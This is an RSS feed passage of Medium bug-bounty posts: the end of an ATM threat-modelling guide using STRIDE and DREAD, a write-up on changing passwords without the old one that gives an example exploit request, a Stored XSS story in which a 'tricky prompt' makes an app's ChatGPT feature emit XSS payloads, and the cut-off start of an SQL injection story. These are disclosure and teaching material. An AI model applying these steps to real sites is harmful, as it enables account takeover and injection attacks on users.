once.</li><li>Exploitability: Assesses the ability of a threat to be exploited. If the threat is easy to exploit and there are many exploitation tools and techniques available, then the risk level is higher.</li><li>Affected users: Assesses the number of users or systems affected by the threat. If the number of affected users is large, the risk level is higher.</li><li>Discoverability: Assesses the ability to detect a threat. If the threat is difficult to detect or can evade detection measures, the risk level is higher.</li></ul><p>Based on the above criteria to assess the level of risk.</p><h3>Step 3: Identify prevention and mitigation methods.</h3><p>Based on the results after identifying and ranking the risks that occur to the system along with external factors such as human resources and finance, the security team can propose solutions to prevent and minimize damage to the above risks, for example, for the risks identified by the STRIDE model:</p><ul><li>Spoofing: Use strong authentication methods like two-factor authentication (2FA) or certificate-based authentication to ensure that users are properly authenticated.</li><li>Tampering: Verify data integrity using hashes and digital signatures.</li><li>Repudiation: Record user activities, transactions, and system events to provide evidence of actions taken</li><li>Information Disclosure: Identify and remove sensitive information from publicly available versions of software, websites, or systems.</li><li>Denial of Service: Apply DDoS protection measures such as using load balancers, limiting access speeds, and evaluating the trustworthiness of client requests.</li><li>Elevation of Privilege: Monitor and detect suspicious or inappropriate behavior to prevent unauthorized elevation of privileges.</li></ul><p>After coming up with remediation options, the security team along with other personnel can discuss to come up with the best solution depending on the company’s situation.</p><h3>3. Using Threat Modeling with ATM as the target</h3><p>To build a risk assessment model for ATMs, we need to follow the steps above, especially identifying the main functions, interactions between users and ATMs, then applying the STRIDE model to determine the risks for each specific function.</p><h3>Step 1: Analyze the ATM system</h3><p>Identify the necessary information:</p><ul><li>App Name: ATM</li><li>Extra Point: Screen, card slot, payment slot, …</li><li>Entry Point: Keyboard, card slot, cash compartment, …</li><li>Assets: Money, cards, customer data, system software, hard copy invoices, network infrastructure, processing procedures, …</li><li>Activity flow: Main functions such as login, withdrawal, information lookup, etc.</li></ul><p>The above functions are identified through the following Use-case diagram.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*WH6vSkYqG4aNNeP2.png" /></figure><p>For functions, it is necessary to determine what assets are used in that function if a risk occurs in that function. For example, the login function, the assets used in this function are user information, specifically the PIN code, from which all risks related to PIN code hijacking will be listed in this function.</p><h3>Step 2+3: Identify, assess risks and remediate</h3><p>Apply STRIDE model to identify risks and DREAD to evaluate to perform on each function of ATM.</p><h3>Function 1: Login</h3><h4>1.1 Spoofing</h4><p><strong>Risk 1</strong> : Brute Force PIN code <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : Because PIN codes usually have a small number of characters (&lt;=6), attackers can perform a brute force attack to find the correct PIN code. <br> <strong>Fixes</strong> : Add a mechanism to lock the card and swallow the card if the wrong PIN code is entered more than three times.</p><p><strong>Risk 2</strong> : Card Skimming <br> <strong>Score</strong> : 4.6/10 (D:10, R:4, E:6, A:1, D:2) <br> <strong>Description</strong> : Attackers can attach mini cameras to collect users’ PIN codes. <br> <strong>Solutions</strong> : Install a surveillance system such as a camera, check ATMs periodically to promptly remove devices that are not part of the ATM system.</p><p><strong>Risk 3</strong> : Fake ATM Score <br> <strong>:</strong> 6/10 (D:10, R:4, E:6, A:4, D:6) <br> <strong>Description</strong> : Attackers set up a fake ATM to collect PIN codes and steal users’ cards. <br> <strong>Solutions</strong> : Periodically warn customers that if their cards are stolen or lost, they need to lock the card immediately.</p><p><strong>Risk 4</strong> : Phishing <br> <strong>Score</strong> : 4/10 (D:4, R:4, E:6, A:4, D:2) <br> <strong>Description</strong> : Attackers use email or phone number to phish information, user PIN. <br> <strong>Solution</strong> : Periodically warn customers about fake email, fake information.</p><h4>1.2 Tampering (Edit)</h4><p><strong>Risk 1</strong> : Using malware <br> <strong>Score</strong> : 7/10 (D:10, R:10, E:7, A:5, D:3) <br> <strong>Description</strong> : Attackers can use hardware connections and internal networks to upload malware that can bypass authentication mechanisms to the ATM system. <br> <strong>Solutions</strong> : Remove all hardware connections of the ATM such as USB, … Turn on Firewall or WAF to block malware from uploading to the ATM.</p><h4>1.3 Repudiation</h4><p><strong>Risk 1</strong> : Denial of responsibility for withdrawal. <br> <strong>Score</strong> : 2/10 (D:3, R:1, E:3, A:1, D:2) <br> <strong>Description</strong> : In some cases, the attacker denies or does not accept responsibility for his illegal transaction when withdrawing money. <br> <strong>Remedies</strong> : Record the transactions of the machine and install a monitoring system at the ATM.</p><h4>1.4 Information Disclosure</h4><p><strong>Risk 1</strong> : Error message <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : In some cases when entering a PIN, the message when entering an incorrect PIN can provide information about the correct PIN. <br> <strong>Solution</strong> : Remove all information about the correct PIN in the message, only notify the incorrect status after entering the PIN.</p><p><strong>Risk 2</strong> : Inadequate Data Encryption <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:3, A:6, D:2) <br> <strong>Description</strong> : Data is not encrypted during the transaction, sensitive information can be exposed by Man-In-The-Middle attack. <br> <strong>Remedies</strong> : Encrypt the process of sending and receiving requests between components in the ATM.</p><h4>1.5 Denial of Service</h4><p><strong>Risk 1</strong> : Brute Force Attack <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:4, A:5, D:2) <br> <strong>Description</strong> : Attackers can spam incorrect PIN requests multiple times to paralyze the system. <br> <strong>Fixes</strong> : Add a card locking mechanism, preventing PIN entry after multiple incorrect login attempts.</p><p><strong>Risk 2</strong> : Power Source <br> <strong>Score</strong> : 8/10 (D:10, R:8, E:8, A:10, D:2) <br> <strong>Description</strong> : Due to natural or human factors, the ATM power source is cut off, the system cannot operate. <br> <strong>Solution</strong> : Provide backup power source.</p><h4>1.6 Elevation of Privilege</h4><p><strong>Risk 1</strong> : Using Components With Known Vulnerabilities <br> <strong>Score</strong> : 5/10 (D:10, R:2, E:1, A:10, D:2) <br> <strong>Description</strong> : ATM system uses applications, OS system has CVE that allows attackers to escalate privileges. <br> <strong>Fix</strong> : Update applications in the system to the latest version.</p><p><strong>Risk 2</strong> : Default Credential <br> <strong>Score</strong> : 6/10 (D:10, R:4, E:4, A:10, D:2) <br> <strong>Description</strong> : ATM contains key combinations, default login information is publicly available allowing attackers to elevate privileges when using. <br> <strong>Remedies</strong> : Remove all or change the default information to be different from the information that has been publicly available.</p><h3>Function 2: Withdraw money</h3><h4>2.1 Spoofing</h4><p><strong>Risk 1</strong> : ATM card forgery <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:4, A:5, D:2) <br> <strong>Description</strong> : An attacker obtains the victim’s PIN and card information by some means (e.g. phishing), then copies the victim’s card to withdraw money. <br> <strong>Remedies</strong> : Apply hardware security measures such as using anti-copy software, anti-tamper technology, and anti-intrusion hardware.</p><h4>2.2 Tampering (Edit)</h4><p><strong>Risk 1</strong> : Physical attack <br> <strong>Score</strong> : 8/10 (D:10, R:10, E:7, A:8, D:5) <br> <strong>Description</strong> : Attackers can use physical methods to break the protection layer and steal money. <br> <strong>Remedies</strong> : Install a monitoring system such as Camera, intervene when there are signs of abnormality.</p><p><strong>Risk 2</strong> : Using malware <br> <strong>Score</strong> : 7/10 (D:10, R:10, E:7, A:5, D:3) <br> <strong>Description</strong> : Attackers can use hardware connections and internal networks to upload malware that can interfere with the ATM system and change the amount of money withdrawn. <br> <strong>Solutions</strong> : Remove all hardware connections of the ATM such as USB, … Turn on Firewall or WAF to block malware from uploading to the ATM.</p><p><strong>Risk 3</strong> : SQL Injection <br> <strong>Score</strong> : 8/10 (D:10, R:10, E:7, A:10, D:3) <br> <strong>Description</strong> : Attackers can deploy SQL Injection exploits through the process of entering the amount. <br> <strong>Solutions</strong> : Limit input characters when designing, do not execute SQL queries at the ATM but should execute them through an intermediary when there is a transaction.</p><p><strong>Risk 4</strong> : Withdraw more money than the account amount <br> <strong>Score</strong> : 8/10 (D:10, R:10, E:7, A:10, D:3) <br> <strong>Description</strong> : Attackers can withdraw a larger amount of money from the account. <br> <strong>Solutions</strong> : Need to set up an intermediary unit to check account and customer information, avoid direct queries to the DB to ensure the transaction amount is correct.</p><h4>2.3 Repudiation</h4><p><strong>Risk 1</strong> : Denial of responsibility for withdrawal. <br> <strong>Score</strong> : 2/10 (D:3, R:1, E:3, A:1, D:2) <br> <strong>Description</strong> : In some cases, the attacker denies or does not accept responsibility for his illegal transaction when withdrawing money. <br> <strong>Remedies</strong> : Record the transactions of the machine and install a monitoring system at the ATM.</p><h4>2.4 Information Disclosure</h4><p><strong>Risk 1</strong> : Error message <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : In some cases, when entering the wrong amount or exceeding the allowed amount, it may return sensitive information that is not public. <br> <strong>Solution</strong> : Only return a message indicating a valid or invalid transaction when the user enters the amount.</p><p><strong>Risk 2</strong> : Inadequate Data Encryption <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:3, A:6, D:2) <br> <strong>Description</strong> : Data is not encrypted during the transaction, sensitive information can be exposed by Man-In-The-Middle attack. <br> <strong>Remedies</strong> : Encrypt the process of sending and receiving requests between components in the ATM.</p><p><strong>Risk 3</strong> : Sensitive information in withdrawal receipts <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : The user’s withdrawal receipt may contain sensitive customer information. <br> <strong>Remedies</strong> : Do not attach any confidential customer information to the receipt.</p><h4>2.5 Denial of Service</h4><p><strong>Risk 1</strong> : Power Source <br> <strong>Score</strong> : 8/10 (D:10, R:8, E:8, A:10, D:2) <br> <strong>Description</strong> : Due to natural or human factors, the ATM power source is cut off, the system cannot operate. <br> <strong>Solution</strong> : Provide backup power source.</p><p><strong>Risk 2</strong> : Brute Force Attack <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:4, A:5, D:2) <br> <strong>Description</strong> : Attackers spamming requests for wrong or invalid amounts multiple times can paralyze the system. <br> <strong>Remedies</strong> : Pause transactions if there are too many invalid requests coming from the ATM.</p><h4>2.6 Elevation of Privilege</h4><p><strong>Risk 1</strong> : Using Components With Known Vulnerabilities <br> <strong>Score</strong> : 5/10 (D:10, R:2, E:1, A:10, D:2) <br> <strong>Description</strong> : ATM system uses applications, OS system has CVE that allows attackers to escalate privileges. <br> <strong>Fix</strong> : Update applications in the system to the latest version.</p><p><strong>Risk 2</strong> : Default Credential <br> <strong>Score</strong> : 6/10 (D:10, R:4, E:4, A:10, D:2) <br> <strong>Description</strong> : The ATM contains a publicly available default key combination that allows attackers to elevate their privileges when using it, change account balance information or interfere with the transaction process. <br> <strong>Remedies</strong> : Remove all or change the default information to be different from the publicly available information.</p><h3>Function 3: Transfer</h3><h4>3.1 Spoofing</h4><p><strong>Risk 1</strong> : ATM card forgery <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:4, A:5, D:2) <br> <strong>Description</strong> : The attacker obtains the victim’s PIN and card information by some means (e.g. phishing), then copies the victim’s card to transfer money to his own account. <br> <strong>Remedies</strong> : Apply hardware security measures such as using anti-copy software, anti-vandalism technology, and anti-intrusion hardware.</p><p><strong>Risk 2</strong> : Brute Force user information <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : When transferring money via ATM that requires card number, attacker can perform brute force attack to find valid card. <br> <strong>Fixes</strong> : Add mechanism to pause transaction when there are too many invalid requests at the same time.</p><h4>3.2 Tampering (Modification)</h4><p><strong>Risk 1</strong> : Using malware <br> <strong>Score</strong> : 7/10 (D:10, R:10, E:7, A:5, D:3) <br> <strong>Description</strong> : Attackers can use hardware connections and internal networks to upload malware that can interfere with the ATM system and change the amount of money withdrawn. <br> <strong>Solutions</strong> : Remove all hardware connections of the ATM such as USB, … Turn on Firewall or WAF to block malware from uploading to the ATM.</p><p><strong>Risk 2</strong> : SQL Injection <br> <strong>Score</strong> : 8/10 (D:10, R:10, E:7, A:10, D:3) <br> <strong>Description</strong> : Attackers can deploy SQL Injection exploits through the process of entering account numbers or bank names. <br> <strong>Solutions</strong> : Limit input characters when designing, do not execute SQL queries at ATMs but should execute them through intermediaries when there are transactions.</p><p><strong>Risk 3</strong> : Transfer more money than the account amount <br> <strong>Score</strong> : 8/10 (D:10, R:10, E:7, A:10, D:3) <br> <strong>Description</strong> : Attackers can transfer more money than the account amount. <br> <strong>Solutions</strong> : Need to set up an intermediary unit to check account and customer information, avoid direct query to DB to ensure the transaction amount is correct.</p><h4>3.3 Repudiation</h4><p><strong>Risk 1</strong> : Denial of responsibility for withdrawal. <br> <strong>Score</strong> : 2/10 (D:3, R:1, E:3, A:1, D:2) <br> <strong>Description</strong> : In some cases, the attacker denies or does not accept responsibility for his illegal transaction when transferring money. <br> <strong>Remedies</strong> : Record the transactions of the machine and install a monitoring system at the ATM.</p><h4>3.4 Information Disclosure</h4><p><strong>Risk 1</strong> : Error message <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : In some cases when entering the wrong card number or the recipient’s bank, it will return some correct information or suggestions to find the correct information. <br> <strong>Fixes</strong> : Only return a message indicating valid or invalid information when the user enters the account number and bank.</p><p><strong>Risk 2</strong> : Inadequate Data Encryption <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:3, A:6, D:2) <br> <strong>Description</strong> : Data is not encrypted during the transaction, sensitive information can be exposed by Man-In-The-Middle attack. <br> <strong>Remedies</strong> : Encrypt the process of sending and receiving requests between components in the ATM.</p><p><strong>Risk 3</strong> : Sensitive information in invoices <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : The invoice after being transferred by the user may contain sensitive information of the customer or recipient. <br> <strong>Remedies</strong> : Do not attach any confidential customer information on the invoice.</p><h4>3.5 Denial of Service</h4><p><strong>Risk 1</strong> : Power Source <br> <strong>Score</strong> : 8/10 (D:10, R:8, E:8, A:10, D:2) <br> <strong>Description</strong> : Due to natural or human factors, the ATM power source is cut off, the system cannot operate. <br> <strong>Solution</strong> : Provide backup power source.</p><p><strong>Risk 2</strong> : Brute Force Attack <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:4, A:5, D:2) <br> <strong>Description</strong> : Attackers spamming invalid account or bank numbers multiple times can paralyze the system. <br> <strong>Fixes</strong> : Pause transactions if there are too many invalid requests coming from the ATM. Increase resources to be able to load large amounts of data</p><h4>3.6 Elevation of Privilege</h4><p><strong>Risk 1</strong> : Using Components With Known Vulnerabilities <br> <strong>Score</strong> : 5/10 (D:10, R:2, E:1, A:10, D:2) <br> <strong>Description</strong> : ATM system uses applications, OS system has CVE that allows attackers to escalate privileges. <br> <strong>Fix</strong> : Update applications in the system to the latest version.</p><p><strong>Risk 2</strong> : Default Credential <br> <strong>Score</strong> : 6/10 (D:10, R:4, E:4, A:10, D:2) <br> <strong>Description</strong> : The ATM contains a publicly available default key combination that allows attackers to elevate their privileges when using it, change account balance information or interfere with the transaction process. <br> <strong>Remedies</strong> : Remove all or change the default information to be different from the publicly available information.</p><h3>Function 4: Check account information</h3><h4>4.1 Spoofing</h4><p><strong>Risk 1</strong> : ATM card forgery <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:4, A:5, D:2) <br> <strong>Description</strong> : An attacker obtains the victim’s PIN code and card information by some means (e.g. phishing), then copies the victim’s card to perform the function. <br> <strong>Remedies</strong> : Apply hardware security measures such as using anti-copy software, anti-vandalism technology, and anti-intrusion hardware.</p><h4>4.2 Tampering (Modification)</h4><p><strong>Risk 1</strong> : Using malware <br> <strong>Score</strong> : 7/10 (D:10, R:10, E:7, A:5, D:3) <br> <strong>Description</strong> : Attackers can use hardware connections and internal networks to upload malware that can interfere with the ATM system and change the amount of money withdrawn. <br> <strong>Solutions</strong> : Remove all hardware connections of the ATM such as USB, … Turn on Firewall or WAF to block malware from uploading to the ATM.</p><h4>4.3 Repudiation</h4><p><strong>Risk 1</strong> : Denial of responsibility for withdrawal. <br> <strong>Score</strong> : 2/10 (D:3, R:1, E:3, A:1, D:2) <br> <strong>Description</strong> : In some cases, the attacker denies or does not accept responsibility for his illegal transaction when checking the account of another user. <br> <strong>Remedies</strong> : Save the transactions of the machine and install a monitoring system at the ATM.</p><h4>4.4 Information Disclosure</h4><p><strong>Risk 1</strong> : Sensitive information in invoices <br> <strong>Score</strong> : 4/10 (D:10, R:4, E:3, A:1, D:2) <br> <strong>Description</strong> : The invoice after being transferred by the user may contain sensitive information of the customer or recipient. <br> <strong>Remedies</strong> : Do not attach any confidential customer information on the invoice.</p><p><strong>Risk 2</strong> : Inadequate Data Encryption <br> <strong>Score</strong> : 5/10 (D:10, R:4, E:3, A:6, D:2) <br> <strong>Description</strong> : Data is not encrypted during the transaction, sensitive information can be exposed by Man-In-The-Middle attack. <br> <strong>Remedies</strong> : Encrypt the process of sending and receiving requests between components in the ATM.</p><h4>4.5 Denial of Service</h4><p><strong>Risk 1</strong> : Power Source <br> <strong>Score</strong> : 8/10 (D:10, R:8, E:8, A:10, D:2) <br> <strong>Description</strong> : Due to natural or human factors, the ATM power source is cut off, the system cannot operate. <br> <strong>Solution</strong> : Provide backup power source.</p><h4>4.6 Elevation of Privilege</h4><p><strong>Risk 1</strong> : Using Components With Known Vulnerabilities <br> <strong>Score</strong> : 5/10 (D:10, R:2, E:1, A:10, D:2) <br> <strong>Description</strong> : ATM system uses applications, OS system has CVE that allows attackers to escalate privileges. <br> <strong>Fix</strong> : Update applications in the system to the latest version.</p><p><strong>Risk 2</strong> : Default Credential <br> <strong>Score</strong> : 6/10 (D:10, R:4, E:4, A:10, D:2) <br> <strong>Description</strong> : The ATM contains a publicly available default key combination that allows attackers to elevate their privileges when using it, change account balance information or interfere with the transaction process. <br> <strong>Remedies</strong> : Remove all or change the default information to be different from the publicly available information.</p><h3>4. The Role of Threat Modeling in SDLC</h3><p>In the Software Development Lifecycle (SDLC), threat modeling plays an important role in identifying and assessing potential threats to a system or application. Threat modeling helps developers and security professionals better understand the threats that may impact the system and create plans to prevent or mitigate the risks. Specifically,</p><ul><li>Identify threats early: Threat Modeling helps us identify test-cases and risks that may be encountered in the application’s functions right from the design stage. This helps us develop awareness of security issues earlier and take preventive measures right from the beginning of the development process.</li><li>Risk Assessment: Threat modeling helps assess the risk level of identified threats. By assessing risk, developers and security professionals can prioritize and focus on the most important threats and fix them first.</li><li>Saves time and resources: Threat modeling helps avoid finding and fixing security flaws in the later stages of the SDLC. By identifying and addressing threats early, it saves time and resources as security flaws are addressed early.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a11c8216a476" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security bugs and perspectives from many sides]]></title>
            <link>https://medium.com/@bughunteroX/security-bugs-and-perspectives-from-many-sides-2018bdb155a8?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/2018bdb155a8</guid>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 07:25:36 GMT</pubDate>
            <atom:updated>2025-08-05T07:25:36.330Z</atom:updated>
            <content:encoded><![CDATA[<h4>Summary</h4><p>In this article, I will share an interesting vulnerability “Change Password Without Verifying Old Password,” which leads to the risk of account hijacking and unauthorized locking of users. Initially, the vulnerability was underestimated and almost rejected, but thanks to my persistence, I convinced the security team, helped the vulnerability to be accepted and received the bounty. Let’s see how this “dramatic” journey unfolds!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*UU86Zpf93k0rPesnxWH6Ww.png" /></figure><h4>Detail</h4><h4>1. Self-assessment</h4><p><strong>Severity:</strong> Low to Medium</p><p>Here I am again, during my recent bug hunt, I found a pretty interesting vulnerability: “Password Change without Current Password Validation.” This is a serious security vulnerability because the system allows users to change their password without entering the old password. This creates an opportunity for an attacker to gain access to the user’s account if they have the session token. And luckily, when I looked at this endpoint, this was the last bug I put my trust in, because it had so few functions, and I thought there would be no more bugs!</p><p>By chance, when I looked at editing user information, I saw a function to change password information. And I thought, if I don’t enter the old password in the request instead of on FE, would it be okay? And I did it right away!</p><p>This vulnerability falls under the category of “Missing Authentication for Critical Function” and allows changing the password without authenticating the old password. This violates the security principle when the business flow is wrong, and does not ensure the integrity of the system.</p><h4>2. Identification and reporting</h4><p>In the first step, I tried to delete 1 character in current_password, sent the request and boom, the system returned status 200. More aggressively, I deleted the value of current_password. The system did not ask for current_password when changing the password!!! Attackers can change the password without knowing the old password, easily taking control of the user’s account.</p><h4><strong>Exploitation Steps:</strong></h4><ol><li>Authenticate as a valid user and re-catch the request when trying to change the password.</li><li>Fix requirement to update password without providing current_password. Current_password can be set to an empty string.</li></ol><h4><strong>Example request:</strong></h4><pre>PATCH /v3/users/me HTTP/2<br><br>Host: redacted.com<br><br>Authorization: Bearer token<br><br>Content-Type: application/json<br><br>Content-Length: 96<br><br>{ &quot;current_password&quot;: &quot;&quot;, &quot;password&quot;: &quot;Sup3rStr0ngP@ss&quot;, &quot;password_confirmation&quot;: &quot;Sup3rStr0ngP@ss&quot; }</pre><p>Observe the response from the server, see that the request was processed successfully and the password was changed without verifying the current password.</p><h4><strong>Impact</strong></h4><ul><li><strong>Account Takeover:</strong> An attacker with a session token or authentication key can easily change passwords and take control of a user’s account.</li><li><strong>Denial of Service:</strong> When a password is changed without knowing the old password, a legitimate user can be locked out of their account.</li><li><strong>Security Risk:</strong> User accounts are vulnerable to hacking and may lead to leakage of sensitive information.</li></ul><h4>3. View from the triager</h4><p><strong>Exciting Bounty Story</strong></p><p>At first, when I submitted the report, the response from triager was not very positive. They thought that this was not a security flaw and probably just a minor design flaw. Here is the “drama” that happened between me and the triage team:</p><ul><li><strong>October 25:</strong> The moderators initially <strong>did not consider this a security risk</strong> since the attacker would need access to the user token. However, they encouraged further testing, especially looking for ways to link to CSRF or other bugs to increase the security impact.</li><li><strong>October 28:</strong> After several rounds of feedback, the moderators rated the report as “ <strong>Informative</strong> ” due to insufficient evidence of severity. However, they reopened the report to see if it could be linked to other vulnerabilities.</li><li><strong>October 29:</strong> After receiving a detailed explanation from me about the risk of account takeover and the possibility of link attacks, the moderator changes the status to “ <strong>Triage</strong> ” and forwards the report to the main company for review.</li><li><strong>November 3:</strong> Finally, the company approved the report with a severity level of “ <strong>Low</strong> ” and accepted to pay the bounty, and thanked me for my valuable contribution to the company’s system security.</li></ul><h4>Result</h4><p>So my report was not only accepted, but also received a bounty! I finally succeeded and was awarded a bounty for this discovery. This is a testament to persistence in bug bounties — sometimes you have to overcome initial doubts and continue to defend your point of view!</p><h3>Conclude</h3><p>The old password authentication not required vulnerability is a common but serious bug that can easily lead to account takeover. I hope this sharing will help you when hunting bugs and facing similar situations while working with triagers. Always be persistent and defend your point of view if you believe it is a real bug!</p><blockquote>Bounus: Taking advantage of the victory, the website logic requires that when changing email, you also need to enter a password (email is the identifier to be able to log in). I also tried the same as above and they also accepted the error! So great!!!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*qu3d5iYUvJgCbAK610_gUw.png" /></figure><p><strong>Thanks for reading everyone!</strong></p><p>Source :<a href="https://viblo.asia/p/bug-bao-mat-va-goc-nhin-tu-nhieu-phia-7ymJXewrLkq"><em>FatBoy</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2018bdb155a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I made 1000€ from a Medium bug.]]></title>
            <link>https://medium.com/@bughunteroX/how-i-made-1000-from-a-medium-bug-eb51a98d0490?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb51a98d0490</guid>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 07:00:15 GMT</pubDate>
            <atom:updated>2025-08-05T07:00:15.771Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello bug hunters! 🐞 Today I am very excited to share with everyone my journey to find <strong>Stored XSS</strong> on a system. A small bug but brought a big reward! Sit down, grab a cup of coffee and enjoy! ☕💸</p><h4>🎯 Objective:</h4><ul><li><strong>🏆 Bug Tier</strong> : 2 (Medium to High Level)</li><li><strong>💥 Vulnerability type</strong> : Stored XSS</li></ul><h4>🔍 A little background</h4><p>That afternoon was quite boring, I hadn’t worked at <strong>intigriti</strong> for a long time , and sat down to choose a target to attack. I’ve been working on whitebox a lot lately, so I chose an open source target to make it familiar.</p><p>Okay, now that the target is chosen, let’s just do it. I usually prefer it if projects have a ready-made demo system, or a trial program would be even better, mainly because I’m too lazy to set up the system again :v</p><h4>💣 Let’s get started</h4><p>First, you still have to find out what your goals are. Briefly described, this is a system that includes many functions to support businesses with management and marketing functions.</p><p>I am also often asked by people what to do if I encounter a scope that is too large. In my personal opinion, I just go from easy to difficult. Partly, I am not an expert in bug bounty and have just started not long ago compared to my seniors or friends. I will often do bugs like XSS, SQLi or Open Redirect. Why? Because it is easy and suitable for the orientation. It has advantages and disadvantages. The advantage is that it is quick and easy to do, but the disadvantage is that it is easy to duplicate, because now there are 1m² 100 bug bounty guys, the market is very competitive.</p><p>Bug bounty partly supports me financially and partly helps me get in touch with the reality of the market.</p><p>Back to the system I chose, after a while of surfing and going deep into the business. I focused on the text editing fields to focus on the XSS error.</p><p>Because this is an open source system, at the endpoints, I will search for data processing functions and render it to the web. After thinking about it for a while, this system is so great, it integrates ChatGPT for input fields, creating data is so simple and fast.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*JFKbG69zGQtWEuuPj_fGBg.png" /></figure><p><strong>BOOM</strong> 😲</p><p>I discovered something unusual. The function of creating and inserting data created by ChatGPT has no restrictions at all, with a simple tricky promt, I got a list of XSS payloads from basic to advanced like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*D1tgxbnskGRBseATpKlCYw.png" /></figure><p>10 times simpler. Here I found XSS being triggered!</p><p>Is this my golden opportunity? 💡</p><p>After a thorough (or not so thorough 😎) check of the source code, I decided to submit a <strong>Stored XSS</strong> bug report . Oh my gosh, this is the moment I’ve been waiting for! 🎉</p><h4>“War” with vendors</h4><p>After 22 submissions, the first time a submission was moved from <strong>Triage</strong> to <strong>Pending</strong> without moving to <strong>Closed / Informative</strong> or <strong>Closed / Duplicate</strong> , I feel quite hopeful ✌️</p><p>At first I rated the error at 6.4 points, then <strong>Triage</strong> lowered it to 4.6 points. Luckily I still got a bounty of 300€, so I wasn’t too sad.</p><p>Then the vendor came back and asked the following question, right when I was playing some pool, making me think while shooting, and had to sit down at the computer in the evening to continue researching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*I1HlGbh_WeRreskLOdU91A.png" /></figure><p>And luckily, I found another low level bug which was <strong>HTML Injection</strong> in the chat, and olalala, I came up with a perfect phishing scenario for the vendor.</p><p><strong>BOOM!!!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*JQhL-F0QXbFHhZ4iTeYXgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*47Dpy9TLHq5MZr2Vid7DHw.png" /></figure><p>Vendor was very happy to receive the new script to trigger XSS easier and generously pushed from Medium to High with a bounty of 1000€ (many of you also asked me this). I was quite shocked when I looked at the great bounty received after 22 misses ✌️</p><h4>Conclusion</h4><p>Here, I just want to share a small perspective of my own on bug hunting on bug bounty platforms. Just keep trying, and don’t be discouraged by duplicates, everyone. Work diligently, and luck will come. Writing reports is also important, and above all, utilizing everything we have!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/211/1*tT0jPSs6PYnKpSLWhzNe6Q.png" /></figure><p>Thanks everyone for reading my article!</p><p>Source : <a href="https://viblo.asia/p/minh-da-kiem-1000-tu-mot-medium-bug-nhu-the-nao-AZoJjdOOVY7">FatBoy</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb51a98d0490" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️‍♂️The path to reaching a 10.0 CVSS score (You can too!)]]></title>
            <link>https://medium.com/@bughunteroX/%EF%B8%8F-%EF%B8%8F-the-path-to-reaching-a-10-0-cvss-score-you-can-too-609641903faf?source=rss-2d9c235feb1c------2</link>
            <guid isPermaLink="false">https://medium.com/p/609641903faf</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[BugHunteroX]]></dc:creator>
            <pubDate>Mon, 04 Aug 2025 16:50:39 GMT</pubDate>
            <atom:updated>2025-08-05T07:01:36.946Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*_78aG6Tnev0_rkChxujlQA.png" /></figure><p>Imagine you are a “digital knight,” scouring the online world to find treasure — a lucrative website vulnerability, that not only earns you fame but also allows you to “pocket” a fat reward. That’s exactly the adventure my close friend ngosytuan and I embarked on when we targeted the mysterious website sub.redacted.com. The goal? To hunt for a super cool “bug” called SQL Injection (SQLi) — a type of dangerous flaw, like finding the key to open an entire bank.</p><p>Imagine you are a ‘digital knight’, roaming the cyber world in search of treasure — a delectable website vulnerability — that both earns reputation and can pocket a hefty reward. This was precisely the adventure my close friend and I embarked on when we targeted the mysterious website sub.redacted.com. The goal? To hunt down an incredibly valuable ‘bug’ called SQL Injection (SQLi) — a dangerous type of error that’s like finding the key to unlock an entire bank.</p><h4>Chapter 1: The Hunt Begins</h4><p>The journey began with a large number of subdomains, and the task was to find SQL Injection on a “tough nut to crack” website, like an iron fortress. This website was incredibly complex, throwing tons of parameters (imagine a jigsaw puzzle with a thousand pieces) into the backend. Want to find vulnerabilities here? It’s like finding a needle in a haystack! But ngosytuan and I weren’t deterred; we rolled up 